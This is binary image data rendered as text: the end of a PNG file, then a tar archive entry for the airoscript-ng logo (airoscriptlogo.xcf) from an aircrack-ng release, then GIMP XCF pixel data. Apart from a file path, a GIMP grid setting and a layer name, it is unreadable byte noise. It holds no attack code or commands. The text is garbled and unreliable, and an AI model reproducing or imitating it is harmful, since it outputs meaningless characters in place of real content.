6|8¸“¥p^Âoˆ$¹^‚ý”Ë(¼XhYöV^™¢n´,·83ÁÇufC¥X€£áñR­¿œÜÌ5ÇEï0§†>=Z7q¦Ð³8¸µÉtÚ¡ršƒy®ÛÖÂ÷6tòõuÓøúºiüßúiüzKwõ5Zµ©‹Ƙg‘©÷øPŽÑJ¸ëmÚô­£Ñ×BÉ\¿ju—ÐÝ]í£ì+ÕMjÊo1Óxl¼˜ä®“õày–e À¯kð\ÿøeÙÅþv%ö›e\4'°í^ì¿Ëÿ>ó@åà5@‘ÉËÿ•àú}ÈGÙ_éôÊåçº!©+ó˜K± f·Ð]—QÛÓ oAŠÉ]s `‹E`caC1Ô:=d‘½–M9œ1}`JŒ"/šÑoUnÅ`Cèu[óÞ#Ê\kÊTÈ¥½%.Tè›ð;ì𚲦Ï·,{U•ëõ@¿eÙKÐNTµdÙk_'y]t_ñQþ÷˜)QŒ9QûŽe¹ÿcmòÞ„õ§Vàã{øgû¸múðN  ‘Éy3°(õ:o™ª»z ¸7¤zÙ\ *³T¢t öË®œŸÀcz?öY¬ñõEóV×&s-Ìi—A65Œ…Z§ì‚@G·[MK¬&¶XÚè½ýKNÊzÊídµd+L³ØM6ªÌµy ÞûFo)C%ôØ—3•ãk/Çì‚hãÊ*;Ö17€`cf½-©ß÷Qv1ö›°|S~Q=¡mlw4ó\û`ûôó=Ä<e7_æOð7s/`6Âø(ñN¥ºäð÷ íÀå>ʇù Ñf*UVÝL"TÂßÌËÝï`RIB2l}×½«í)ÚM mHG35tÓ¨÷ûÚ¹ù"Ù75X=œ³ªW:çÍê%U£ùù´ÃKföÙ]Ù÷ç,…û0iaƒ]Ðï鈂k ,‚k[F3¾Få­MÈv—ÐÕØïŽ§_ú(«©¡µå:`…òç’€i®Ïàoç­G°Ÿ:éÕ bhŸ-–å¼^möq“ш Î%Á¹x[. ³ÖßùÈØ IDATŸ5¬È$¼xW‚êsöíJÈß[›ŒM×–¨}ÍGÙ9˜‡9I0 øöI²Ž8žoƒ½Ý"”Ò •½WofDXk†½Ÿ¿lʱZóË‹›wØeù/mãÔiƒ59rœ=³Î:»)÷ö„¿œÊB‹)¡ u”œh¢¡ ½§Ö g'?*ìaPE×&²p´eÙ«ªô˜ÿ Y–=Ͻ–Úà`‚R~|ø§ó½Ï}ùñ©GÂK‰>Ck–e9›i²Ÿ÷QÏçoй?|Û²ìW™œOO볟ù( ðdˆõ³¹ÙÓ4m‰ÚýÀß|”¿xGÌÇЀyȸ$)jŸ’ÁåœÍºfQMoì/e¬lß«)Ü©¡÷ö7Xí´ ð‚éý,k­©Qã¨öaŽn·[ÿzÍHŽõ#áÁm¦«®‰.8¿À&¸6~V3uƒk¯ðQ¶Zƒk#˜Œ%-ÀKu US~<îó=>‹ ÒÅ‘³ý)üŸÂ<©J=ÑgüdY®Ç¢ÌÝø›"ó%àØ˜¾K0;ÆÚLÑY‡ýšs2õÔaÖ½<:Æ:\Œ òùñ¹ëX°¼V‰Ú|–ÿÀ91Õ½³)É1IjÐD/ž¸Õb]³®¶vÄ{ï²ÆB¨u*9)n±Ì¶J§àì™ý¤k$%¨)SáE]ýÖåoÚþC¤ÆLÅjZ¨Mß³e3-t¢Ìµ LÑøÚT›º“ŸßKuýTSJÀð>ïs/Ì:"ªw»Ûÿ3€÷zvSüx%ð–?Ï6Ì6ðú!Àvg¬œÛ—öøœ,Ælú2ÛÇ1™¼L6ùq1|öâï¡È\O›§úÓÕµ$×wú(Ÿ~ÙõÊ^YåÇ>ˆýÂÛiŸm'Éôì¦în>&xû{÷¢-Haž ÿ ³{­_}ÀÛcló,& ó9Ìë0œüûì”›||ö1S%mMn. ñä1\‡Ù”ÀF“ýèh7Ô_ÁLÓŸâçÜи÷Ì”ú°Ù좶º”Ääfü?¬Ì`Ö.ý%æASXc΀¿c²¶)±»…‚]æÚ´ìXt;†êè·ÈÛ¿9üàÕÝýl(Ø­Ë5;_¢Ú7mÍVh±ÌZ»·¯5d†¥qØ×¢/<6”¬mÖÜ8’¥âL~ v+”š¿}™eÙÕ˜§<ÕNSCeWÜóÔpp¦û=ù+&;ËvG›FàLvÝ·‰ƒ oL@Û¿“ùtZ€ïY Ý€ýâÞcÀ>ê0¼Ùçqä1;þ8$ÀöIaq ø¨¿kx®poPDüºXåŽ A^<ÏÃïîŽ àýîÁ¬w…n‹2ÏUW’]là}ÎÅd¿ÍýMê·ïÌ Ÿ ð}Cº¿·P&˜ÝBͿƙJYÆ*)Ï­¿¨a,’Æs€G‡¼Ÿß[ dSá†~ñt;eÇ®lµ.lëCå4¿ÝÚI—5Òd1Exå`tcÊþíÞë·v2ë­M6:Vû‘5/ƒæ&+ÂÆb’»ôR§øùÊù8þ°Û-ˆ÷2F¤˜øï~qêS0ÙYÛÜ@ÏÇÜ ÆC€.Lð,íþgp0fºçG0k€lÃds½È'ÜãMŠƒÜãý3&ðoûägfý»5nÐÈOFܯ°›’µ«k1ÓÏü:Õ ü¸µ=®Àa¦­þÄýß~<ŽÉÐ ó»^íãJ5ýIÐêŽÃk0ÙaË,ß'<Ïý­3í4ˆ Ù^à| ª]Û¶Z”y> æVe×ʵþ] «ž[ .ãºø2&KôÃØgíÏÀ¬¯ûfÀ~ÕÐY³¾NmؽÇ-cYæç½­µº¸=Ã#-¶r0Ï‘mÞ̧֭+ìß\à×ôÚP¨ãÏÛ[xA—·ëÌM£uT»ÁRšþR†Ö¬·µ‰¹¹þR4³¥oñ\¦ä¤X5]pm¿Nï9Œ«'»™ïŸ(Ífp/ ø}óÀÉî+n¿Áï’èyî«l»Û}­soj{1ÁÈ&L6à<÷æ{?Lê‚Ûµõë½Ï;€Ãñ¿~Z 8Ë}õb²ênÃÊÇd¸ bž ¶»¯Nà@à÷ó °} naPÆ„`6&Pþ>`pf±ôݾÞãŽYw<˜Y3p_LæÖñØ?DïbñRLTÖ[Þ“_|ø5&¸8€Ù@¢³€û\ÌÒ‡»ãƒÖi“ ]üð†€Þoð?˜‡fb–l¸Ëýí[çþ »×ZÍnÿÞÛýÍ;ÉíãÙjkD» —Æ/ä-ïšáœçàÚÒÖtd“&V æ(;ñxÙsh[øÁ5€¿lofßæQOÙ|+ò51B<4繓²ÞÓ×Àýý Ñ|ñRŽÕôà5#9ÏÙœ¶š² 2Þw[}d šÍ¦èÔPyö«’ó0Ó0O¨ÁãûfêU%áõlsÏÃy1}þ_0kÇaÔ=Ž{¼ÙoÇLm9'ÆsôfÌTe‘°à¾^s=ތɒíºn˜‡Eÿ¥î#1y+°<àk©&Ãÿàˆ¯ c Ì…²[hÉŠk ÞoÔç¥{­v`´1RIóÔˆ÷L¢ý› Ök‚yQ!Å·×w²}lrYÕ›G³ÜÖÓT£Ã¶¶0\ž\_WÈñó§Û#«Û¡­òï¡¡ûû£ |.ïÌö¾ª8ðØ`¸Á5ÕDäÙ~Ž1ÙA÷ÔØq݈ ƌ꫼;à÷\¼ª‘6úð}uñ`K•×ÿÝÀ7cøÜ‡Õu¤ŠKÏ#ÚLÏ0n_ׇ§“Þ:6 Ëç*£Ìmoˆ¬Žw÷zÿ¬lÊáè¶h®×†Êi¾·¡sÂÍúK~º©Ãj¶DÞiUÒüdS;£dzmÍòÝõ”œè¶q8®Óû¹/;)îí‹®_<×ûÚsëFê.O¦ÿµæâD«2îþ¯¯)Ì&"ÿúì—ö—9ž«1kuèÔN胘i'A»x Õܼ‚äN+–ä:Žhv× ãæú=Àbúüñ¿ö£H\¶¹×Rk«´þï#ÆI‰®íË0`±Ö>³;#«ãCy«ÀÌQíä"Šçl­ã «§³b0Oe·¥;*<2XÏ×Lg}¡®¦F‡•ƒy¾²v:kGrÏÃŒURÜÙÛÈ—ÖtÑWÊDV§9õEä½oºñøPŽ‘Jt_Ù}[ŠžË<20¹þ3¹ Q&¡‚ˆÈ®ú1k¯ý°Êã3˜µ±X›ØUÀçC|ÿ¿¸ç¢P¥ís9fªˆWO`ÖB«¦©ÄÌ4úÏÇX‡"ÑOE Ò̺gÕ`+¯þ_œ•°œ‹Z‰pëš‘¶x»¦YÖ4Ì_#ªßH%Í#ƒõžë8-WæÀ–F4Õ¯¯”á;ë;iÊTXÚ8F '•bõpÎ*€Y-6ê¸|Ít¦åÊÌ«7A­¢“â‰áúÈÖ/ÛÕñv‹÷õG—µÖÐܾïÁ+#Zo PÒšˆŒwu)fjÎÇjzj4¼ø‘Nã¤üxE¿¿so4~̬’¶©ï%¾ì© ›1 | ´J²§1;;ßž€º|¸XÝGªØ÷»ÿÌ&I¶ó즸+bQq?;f»¯I&¨¬³XwmáÈjê›Ú"kÈ{ú­Ê:-ú ›†ÊiÈóÀ@öçk:°¶«chàVæc ¬µeËa±KèX%Ńn4qØ¢.rïÙuz]oÍï0""²gŸŽÅìLU nÇ윙ÄÀÚXëôsàÅÖíNàHàþ*èKÛ0ëÅ)°&A^ŽÉ€KhD2k7תëH•[É^ýy‚ëø{Ìæ)7%¡2þ64ˆèÞØjݵò0ËϬ!ꯧß"Hµ ?ÆÒF­S²NÖ ×YeíÛZŽììVHñ^»ìµÓ§êk;4g+Ón7%ôoÝ‘Õ3ÓØÊÁSìèËQq¼QèEdJÞ˜°€Cø°7&Ë®œà6üp8ð§˜ëñ0&ñ“1þŒrƒ w%è­Åìòv&f*ŸHŽÁŽúb®ËOeÀWÚV«—R½ë5ŠìêëÀþ˜L±8•1þ½oïáoR–ï뛿T˜ˆî~KNŠÇ‡ë=—[:úÙ–iÑ]yö6M>¸°‹}šFYÖ¤ìµZ÷üéÔ§½wõ…:«©Ñ¶–,YÊœÑ žËÝÙ“¡U^‘I{ ³ÙÁñÀ¯‰oK”‚{Ax ð:’“6‘ÀóW¹ÿ=J[Ý›ùCHN@ë>L€ílàÞ뱓¹³³Ã¬HØ*îÍí̺–QÙ®ÅÙ/Ƭ³–d·§b¦j‹T»õ˜L±ç¹};JeàJà`÷z`Ç8k3•*lôXÛòr[üØ ÷àÚôáuÌ\¼OdÇÓ[̰rÈ.Àð‘í*Ñ›VWâèöa«²ïiŠ´®Ï™e7µóžÞzËQÀö¥­BEÄÊmÀ9˜Œ‡Ïc¦úEáaLÆÓÌT†•UÚ~?öÞMø;‰= ¼ XèÞÌ'q*æo1Y}Ï~A4;¼:ÀõÀË€¥˜ÌeÇHÔºÿv¿Ÿï ñ³ݱç`LvæíUÔNŽ þŒ‘ ü88ø%á.Ñ0|ɽî¸À½.˜ˆÍÍl ëIZ/ä'_ĦìÊÁz^ê±L ‡ƒ;¢}¼zýöhö~}³ ?ÆÑíÃÜÞÓ¨¯k zé¬~2k­u3ü£7º]B3m‘Zã¹Üšá,[G3Ñ7lõ'®)¤^m :Ö¦'€÷¸¯£1ÓwNÂdG±Ãè&Ëê/îÅç#5Ô_ ˜Åò/ÎÀ,vþ ËçûV0ü ¨z ŠúÓŸÜW+fÇÂÓÙ½ÿL`ø˜ÝK7k\Ññ'Dfjûg1Ùœ§a¦¥|öù›«0;ŽTq­Ãdüœ¼“ù“Q×™ÒßÃZ8®›ÜW;f·Î³0³Ú}¾ïvL0ú7˜]Á½f¨Ø\à ô±ú¸3‰ûZgÿ|rwÇ;ŠY¶eéÊy{h¹_a%×·tRèŽfä©ã©áK½?Ÿ?}€ûú(Tô[^Köne¿f»Ê·v7Q‰pì³doöúƒçrwyžêøž6îhF¨ˆç÷Ð<³(ü÷µè& Þ½r/úv`Ö×Y < ܃™6X¬ñv«`Ö±»3â`Lס˜ŒªùÀ ·MÜ¿/¸7ÉÛ€M˜i&aJï­ò6é¾ç¾À¬ ó÷?—º¯. ÙíK;ÓÓ îkfªð&`&({?ð(Z A’ïükÃ.LvËþÀ>îk†Û÷›ÝûÐ!LfJ/fC—Çݾþww\¨µ>ÿg÷5³LÁ˜:s1ùL†î€Û.îkƒÛ6»ãÂãêj’ ½À·ÜWÚ½~:ÒýÝÛ˽Žjßåw/ãöë>÷7s#°xÐ}=Œ¿5К-Ê Ñ>·ö‹v¼[9˜çÄNo‹ÿÏé”y‹ÏaõƒwDVÏ¿îhfI£÷`^k¶Ì gôsÍæ6}EkD]Êá¼YvKQ —ÓÜÑí”ГgAfØûXvgoôë­éCDB2Üâ¾dò*˜€â}jŠó¸n„eŠÚ†YPk>Óþ=/RK×÷»¯¸Ø×Ùa2šÝBòè÷5þ{wdéUÖü»{zº§{º{¶Lö”D1@vJŠU*) (P ´ ËòƒÆ”Ta¡†EÙDY¬Á@ŒAˆ’ &a „A 3Ã$Ì>Óû6}û¾~è &sß{ûnóûu½•ÊLŸûžw9·æ<õœóTRä±­-Àµkn(ûË­(yê–yÅ zÈ ÏšÍYƒå¶ˆ¹ùøHK³F·ä‰%þý?_­ä»3J}…4T%´`à'¶”h3ÓŒ·¦Zh“ªˆþ`~cf«õwùQ‹wgpü¬–=Í"ɵ‡ËeŸU’¼âÜ©ŒôÛ¬½Û=bt9OßZ.>]íÏMÇF[Úß‹/¾$¿°ð½ºÛÝ:9œjQ)õÕMrn‰6“Í8q[«…Ö;»^-’ïÌÖ¿ülÇÜÞœÑÅ-½´Ý ƒùáÂÆRmÇVó’Ó†Eê_[Z6ïì¦c£Y)Z»÷ÞÓÏ®¥R"äuó‘¡¾šq@.,Ñæp3N\*¸Vmã”øë³õWÓ¬¤È“6·~Ü;3\w»M+3¹ü¢‰–?ÙëŒeaµÜmî¯yíù“ê³ÿZ·¸td9ÏÙ>[ºý=sCùî\ë3Á^´õh©v7m,î(NqD\ €Óò˜$—–hwo3NÞæÌµrÓã2Áµ$¹|Ã[~…ó«}ùÌ¡±ÒíÇVóⳆIØPilŸµ¥ÕJ®98Þò~ïÜ:–ËNÜSw»CËýùÎÌ`~ƒÐcÞX²Ý®fœ¼\pmõA3Û6ìC~ÿâ†91Pw»söä‚í­^Ü9½)ßi éIóÙ1X5T:ܯmYhè9]{x<ÇWú[Þï\<”¾bµîv_>:ÜÀ0n<÷¬Y ¹$É«K´;šd_3:ÐÖ̵²Óë"É­“å <ûìö©>u`"ó%—‡V’\0´b¸t¸ †Êï·k~¨¡ýùÊì+òüá{KÁëmòÐh·«“l,Ñî?›ÕÒÁµvU }Àצ6åD­þx­Ý›­V[þ¤gª}ùtKþd®u¾³J>£ÅZ_>±¼-}~á…•LÔê_v|ÇäÆì_hBÚýM@{e’+J¶ý|³:ÑPp­k}ùÖlýK-ûŠZžuN{zÿÍ™áÜ9].ÛgºÚoÈt¸©ϨHòÉýã¥*à6<ø+Éož=SîèðHgÜt±5€3Õ£“¼§dÛ¹$×6m~]®Ùj:!ãä«ÇËMðŸ4r,cí©Àù/ÆsÿÒ†ºÛýxyƒaÓáö—xF7Í·f‡ÛÒßgm_Ìξ¹ºÛZîϭǯhzÊJ¡§qÐI>“òEÖÃyI>—¤ì2°&™nVgÚ[-´ÁÛ¾¥Á(ÐÈjž²e¾-—¼RTò¡û·f¶zú·~÷Â`î_\ët·MnÊrK•wÍmÌ玌µ¥¯•$W^°TªíÙ”ZG· ‰këïƒY[zù·YËö:«Íýy\’Û“\X²ýj’¿kf‡Ê׊ÓüuÞ.é+“å²×ž±m!#ýíÉ^›\éÏ?ýxkªÅCbªE%×DèÓÕþÜptóiýîþå ùèþ­m R=uÛb.Z¬»]µ¨äúƒ œ!þ*Ékôÿ/Nò?I^Ÿµ¼Vû½$_Mr~ŸñI¾×ÌN5–¹v2@ös—neý·!ÿÚäp&Wê߯jce5ÏÝ>Û¶·s÷Â`þ~ß©3ØæWûò¾}Ûòã%YkÝâÆc£¹îðØ)—->ðì—V+méc¥Èë.*÷îßpx8GOØÿà ðÆ$ú3þ|"Éû“Ü•äE-êË£²VÝóIFøœ™$ojvç ®5'HÖØ'ÔRÉWJî½öä- ™hCåÐüpacÞ¶ç¬|þÈæ{PÀb¦ÚŸ/ÍÕ{vd÷ áÜen<6šwïÛž»¦‡³r2;±ÈZPí“&òÞ}ÛÛRÀàÏ9k1ç Õ_Ù´V$×mqo~x^6'Àº¹2É;âwŸäº$ÿäUI6®C?™äcI¾ä×›ðyW%9ÜìN´÷Y5gz|ÛÔHž³c.Ã}õ-ó¨yÞöÙ|âÀDÛîÀlµ/_8º9_8Íå„t‡Ý ƒkÑýÕ¯}E^u~¹¬µ[eßÂ@“ÇQú› hâw@):ôzÆ3³Ð:Ý„¬'d­@À;’|*kÅnJ²RòüÛ²–÷;IžÖÄëº>ÉûÖ㆕ž)wÒ”v©VÉÍÇFò¼õ .ŸXÈíS›²wQ†½ïçÏfÇÆÕRãýã÷5?ÜPÕÏf®/ I›ä³)—…¶-ÉNóIîÈZá{’ìI²/ÉìÉ¿K’ÍY[âya’_ÌÚÒÏgd-#®Ù8&yÝzÝ´ÒPš1³mÞÌø«“#yæÖ¹ õ×÷™•$WìœÉ»ön7O§§3´š—ž[®J{¡Ãöþ3`šé¢$ŸO2Þ„ÏÉZÜ3;àºf’¼ ë°ô}½ò̯öåKÇËíuÑð‰>zÊê›§òâ3¨Nô¤§l[Ê“·.•jûåcùw^ÅZ€öñ¬-Íì%3I®HrãzŸ¨¯—îÚR­’Jé¯åegONôœñ µüÑ%S¥Ú®•|¨C³Öhš?HòµºžÝIžœä?Zq²¾^{nŸÚ”É•þRm·y1]2¤è)¯½p&ãÊeeÞpxS.õ¯K¿Övmlä§ CšbO’§&ùë$ݾ¬ïß“\žä»­:aéàZ§Ni«E%×)ŸisåÙÓê³<”Þð+ãËyþÎrû ÎW+ùؾÑué×)Ë¡u4C5ÉUIž”ä®.ìÿ¡$/OòI޵òÄ-Ê\kí¬ø®éá|onc©¶VóÛçNRt½-ƒµ\uéd*%Ûä¾±_é_¿¯„ZË:ÏYËüzc’ã]Ðß•$ïOòÈ$ŸlG®ýßñ©ZŸtrÝá±ÔJžà±›—òÄ ÕCé^•$xÉT&J.Ý·0ënZÇ6þ °njIÞäâ$oJgÙN$ù@’‡'ùý$“íêH¹àZ5?U-4eŽu´yCn)ÝþegOç‚áÉ®ôòóçò”­å÷|ïžñ¬7àÌ6“ä/²dû“$?è€>NòެÕ^ŸäGíîP_/¿Ÿ;¼93Õr—8P)òÚóŽg¤ßþkt—Ë&–óš fJ·¿ùèp¾>½±åý®;>/m  Uf’¼-É¥Iž•äãIZ¹§ÖJ’Ï&¹"ÉyIþ8ɾN¹9=\[¬õå_N”n¿eÃj^}Þdú%ðÐ%ÎZÍŸ]:™¾’ïìôJ_Þ³g¼E½=ÝÅ㪀ÿÕcC¹éèpk;]´¹=Ͳ”ä¶“Ç¥¡•¢ÁŸV™­öåŸ÷oi茿uÎt†úì¿FgzÜØr^°s¾tûCËý¹ú‡Ý—)¶@»5\+NýW¶mÒ®¹¹e²|õбվKvÍ=ôFîÇWúóÙCcÞ:Ö|µ’wížÈÊC,ñ,’üÃÞ±|ñÈpGM‹Bè%ƒèd >IDATkÕµ©m—o—T-*ùà}[ó•É‘Ÿ»ºlïâ`Þ¹wG¦Vú½-t´[åª{¶ezågëÅÕJÞúý-ùôþю鳀ݮüýM˜wÂDº–J®98žæñ›³}°š$Y¬õåì³Ï]äÛ3ƒyÅ;sù–å<~b9ý)’J%ßžÌmLJ²¸Zé¡«Š ýJ×zmZ;µÒŸ›Žz#èz+E%·Ê-LJz誊žÿ ; 4Ò¸áÉ­Ù1œÁþßBТDsh³öžÞìÎhEcm‹¢æÐVM ®•Ÿ!/--¥V3A†3ɉ'.` 4@'h,¸V46½½ì²_Íðð°§gšJ%\p¡û@×k ¸ÖxÞÈ›ßò–¦_l–v*ºúãu¨Wùj¡§XÉ)Ðn‚\ÞM Jת' T<”¢+?ºËï ½þtøxŠ轉²¸z¸ûôð»_xwè- ® rõp÷éÑwß{ §Ö`p­è¹Ù¸`B/ëÞ(”÷:ScÁµušñ $ô:A. 7” ®­&é/ºZáãT:sMp£Y¹ºÕ€[ðA.êÓÁ5•èͯºŽÍ:äã É:W ä —5\<àLÖW®Ùª;À¯Ï-€rÊ- ­ Ë'Nô¿ýq¶¨I%Yr'h§JÙv¿{Õ›ŸQi¸Ú(@yE5‡?ø7o¾Ûh¥ÿ/7¤£ eè¿IEND®B`‚aircrack-ng-1.2-rc4/scripts/airoscript-ng/src/goodies/airoscriptlogo.xcf0000644000000000000000000007615311776654501025203 0ustar rootrootgimp xcf fileëªB´B´gimp-image-grid(style solid) (fgcolor (color-rgba 0.000000 0.000000 0.000000 1.000000)) (bgcolor (color-rgba 1.000000 1.000000 1.000000 1.000000)) (xspacing 10.000000) (yspacing 10.000000) (spacing-unit inches) (xoffset 0.000000) (yoffset 0.000000) (offset-unit inches) ƒëªairoscript.svgÿ     Bëª^|S|_몚ÔII)&?—JØXüjXr¨sIu‰Cü€‡ˆ† †…øŠ‰‰¨×ââááàßúЉ£Òá áàßü’ˆäí-í ìý’‹ÿÿ*þý’‹þ<þý’‹þ<þý’‹þ)þýý’Šþ þ0ýý’Šý<ýý’Šý<ýý’Šý6ýüý’Šýý#üý’‰ü<üý’‰ü<üý’‰ü<üý’‰ü üø÷ý’‰üüûýô.ý’ˆû ûýô.ý’ˆû ûýôùFgv\2ý’ˆû ûýôý(©©ü§a ý’ˆû ûýôý(•©©þW ý’ˆú úýóý‹©©ý¢& ý’‡ú úýóþv©©þH ý’‡ú úýóþS© ©þ] ý’‡ú úýóý3¥© ©þH ý’‡úúùýòýŽ© ©ý¥( ý’‡ù ùýòþd© ©þ^ ý’‡ù ùýòý8¦© ©ý ý’‡ù ùýòý"–© ©ý  ý’‡ù ùýòþg© ©ý¡1ý’‡ø øýñý0¦© ©þJý’‡ø øýñþ„© ©þtým‡ø øýñþF© ©ý›%ým‡ø øýñ ý”©©ý¨@ým‡÷ ÷ýð þO© ©þuým‡÷ ÷ýð ý—©©ýž%ým‡÷ ÷ýð þU© ©þTým†÷ ÷ýð ý•©©ýým†÷ ÷üöï þL© ©þBým†ö öýï ý©©þƒým†ö öýï þC© ©þ:ým†ö öýï þ€©©þ„ým…ö öýï ý+§©©þ@ü/m…õ õýî þc©©þû‹m…õ õýîýš©©þNûb©m…õ õýîþG©©ý›ú4¦©m…õ õýîþy©©þjù‹©©m„õõôýíý"¥©©ý¦,þL©©ým„ô ôýíþM©©þ„ý–©©ým„ô ôýíþ€©©þSþ^©©ým„ô ôýíý!¦©©ý¢&ý% ©©ým„ô ôýíþF©©þ~þe©©ým‚ó óýìþp©©þLý#¡©©ým‚ó óýìþ˜©©ý #þ\©©ým‚ó óýìþ3©©þý™©©ým‚ó óýìþZ©©þ[þD©©ûm‚óóòòýëþ{©©ý¨.þ©©ýmò òýëþ›©©þ’ý'§©©ýmò òýëþ-©©þnþX©©ýmò òýë þN©©þIþ‹©©ýmñ ñýê þn©©ý¨%ý,¨©©ýmñ ñýê þŒ©©þ–þV©©Cü——–-– •ø•˜˜³Ùââááàßú›˜¯Ôá áàßü’˜æí-í ìý’›ÿÿ*þý’›þ<þý’›þ<þý’›þ<þý’›þ1þ ýý’šþþ(ýý’šý<ýý’šý<ýý’šý<ýý’šý3ýüý’™ýý&üý’™ü<üý’™ü ü0øý’™ü üýõ.ý’™ü üýõ.ý’™ü üýõú&04-!ý’˜û ûýôý7CCý. ý’˜û ûýôý=CCþ, ý’˜û ûýôý:CCýA ý’˜û ûýôþ4CCþ( ý’˜û ûýôþ+C Cþ- ý’—ú úýóý!BC Cþ( ý’—ú úýóý;C CýB ý’—ú úýóþ0C Cþ. ý’—ú úýóý"BC Cý7 ý’—ú úýóý=C Cý; ý’–ù ùýòþ0C CýA!ý’–ù ùýòý BC Cþ(ý’–ù ùýòþ9C Cþ4ý’–ù ùýòþ&C Cý?ý’–ù ùýò ý=C Cþ%ý’•ø øýñ þ)C Cþ4ý’•ø øýñ ý>CCý@ý’•ø øýñ þ+C Cþ+ý’•ø øýñ ý=CCý;ý’•ø øýñ þ(C Cþ&ý’•÷ ÷ýð þý’”÷ ÷ýð ýBCCþ'ü ’”÷ ÷ýð þ/CCþGù;’”÷÷ööýïý?CCþ7û/C’“ö öýïþ'CCýIú!BC’“ö öýïþ5CCþKú;CC’“ö öýïýBCCýE2þ(CCý’“ö öýïþ)CCþRý=CCý’“ööõýîþ7CCþLþ.CCý’“õ õýîýBCCýG1ýACC’ õýîþ'CCýUþ/CC’ õýîþ2CCþNýACC’ õýîþ>CCýG/þ-CC’õôýíþ!CCþSý?CC’ ôýíþ,CCþJþ&CCý’‘ô ôýíþ6CCþ1þ7CCý’‘ô ôýíþ?CCþLýBCCý’‘ô ôýíþ CCþHþ,CCý’‘ôôóýìþ)CCþ4þ:CCý’ó óýìþ2CCþþCCý’ó óýìþ:CCþDþ+CCCüŸžŸ7Ÿû·Úââááàßú¡Ÿ³Õá áàßü’ æí-í ìý’¡ÿÿ*þý’¡þ<þý’¡þ<þý’¡þ<þý’¡þ1þ ýý’¡þþ(ýý’ ý<ýý’ ý<ýý’ ý<ýý’ ý3ýüý’ ýý&üý’Ÿü<üý’Ÿü ü0øý’Ÿü üýöý’Ÿü üýö.ý’Ÿü üýöú ý’žû ûýôýý  ý’žû ûýôýþ ý’žû ûýôýý ý’žû ûýôþ þ ý’žû ûýôþ þ ý’žû ûýôý þ ý’ú úýóý ý ý’ú úýóþ þ ý’ú úýóþ ý ý’ú úýóý ý ý’ú úýóþ ýý’ù ùýòý þý’ù ùýòþ þ ý’ù ùýòþ ýý’ù ùýòþ þý’ù ùýò þ þ ý’ø øýñ ýýý’œø øýñ þ þý’œø øýñ þþý’œø øýñ þ þý’œø øýñ þþý’œ÷ ÷ýð þ þý’›÷ ÷ýð þþý’›÷ ÷ýð þ þü’›÷ ÷ýð þ þü’›÷ ÷ýð þþ)û ’›÷÷öýïþýú’›ö öýïþ þ8ú’šö öýïýý6þý’šö öýïþý1ýý’šö öýïþþHþý’šö öüõîýý 8ýý’šõ õýîþý;þ ý’šõ õýîþ þNýý’™õ õýîþý7þý’™õ õýîþý6þý’™õ õýîþþAþý’™ô ôýíþý3þý’™ô ôýíþýþý’˜ô ôýíþþ0þý’˜ô ôýíþþ&þý’˜ô ôýíþ ýþý’—ó óýìþþþCü„öÿ7ÿû—ø÷ÿ8ÿûzõøÿ:ÿýýÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿýüÿ<ÿ??…ßÞ ÝßÞÝÜ&ìëhþý þëý üý üûü8û?÷6Cù7x•–z>7ý^§©©ý¨h5þ_©©þK3ýF¨©©þ˜3þ¡©©þ'2 ©þ32 ©ý¤2 ©þx3©ýŸ'3©ý§>4©þY5©þz6©ýŸ(6©þM7©þ„8©ý¨:8©þw9©ý¦-9©þs:©ý¨1-"©þ€÷_ž©© b©þDý"‹©©ý‰ü©™ý}©©þcý©dþ[©©ýŸ??•ßÞ ÝßÞÝÜ&ìë±þýþ ý üýëü4ø ÷,Cù#5>=5$7þ.CCþ15þ.CCþ(3ý'BCCþ>3þACCþ2 Cþ"2 CýB2 Cþ53Cý@3Cþ%4Cþ,5Cþ56Cý@6Cþ)7Cþ98Cþ#8Cþ59CýB9Cþ4:CýB!ý !Cþ7ù.@CCA/Cþ&ý;CCý:üC>ý6CCþ/ýC/þ,CCþ@?=œßÞ ÝßÞÝÜ&ìë±þýþ ý üýëü4ø ÷?Cù 7ýþ 5þ þ3þþ3þþ2 þ2 þ3 þ 3ý3ý4þ5þ6ý6þ7þ8þ8þ 9ý9þ :þý!þ÷  þýýýþþ ý þþ?Àÿ?þ…„=„ ÝÜÛÜÛÚþëê#êé èþëý üýëüþûüüûü½û-÷ö?yù/j„^7ýaÉÔÔþ²6ýLÓÔÔ6ý»ÔÔ6þ7ÔÔ6þRÔÔ6þ7ÔÔ6ýÁÔÔ7þTÔÔ8þ‰ÔÔ8ýžÔÔ9ý)½ÔÔ:ý@ÑÔÔ;þsÔÔ;û¯ÔÔ;ü6ÎÔ<ýsÔ<ý´=þI_ù2t’˜}E7ýS¥©©ýq4ý7§©©þu4þ€©©þ\3þž©©ý§@1ý¦©©ýš#1þ© ©þx1þa© ©þG0ý© ©ýš 0ý.Ÿ© ©þa1ýC¨©©ý¢(1þg© ©þs1ý“©©ý§21ý9¨©©þz2þo©©ý¨21ý)£©©þq2þa©©ý¥'1ý"œ©©þZ2þ\©©ý”ü"3 ý" ©©þ;ø7‹¨©¦†2þk©©þlýI¦©©ý¥Lý.¨©©ýý(Ÿ©©ý¥8þ…©©þ>þZ©©ý—"þP©©þj ?•%” ÝÜÛÜÛÚþëê2ê é-þýþýüý üûü,û?÷?yù!3>;07ý0PTTþJ6þ)TT7þLTT6þ#TT6þ+TT6þ#TT6ýNTT7þ,TT8þ=TT8ýCTT9ýMTT:ý&STT;þ6TT;ûITT;ü#RT<ý6T<ýJ=þ(_ù!4<>6&7ý*BCCý34þ"CCþ44þ7CCþ-3þ@CCýB%1ýBCCý?1þþ)CCþ1 ?%œ› ÝÜÛÜÛÚþëê2ê é-þýþýüý 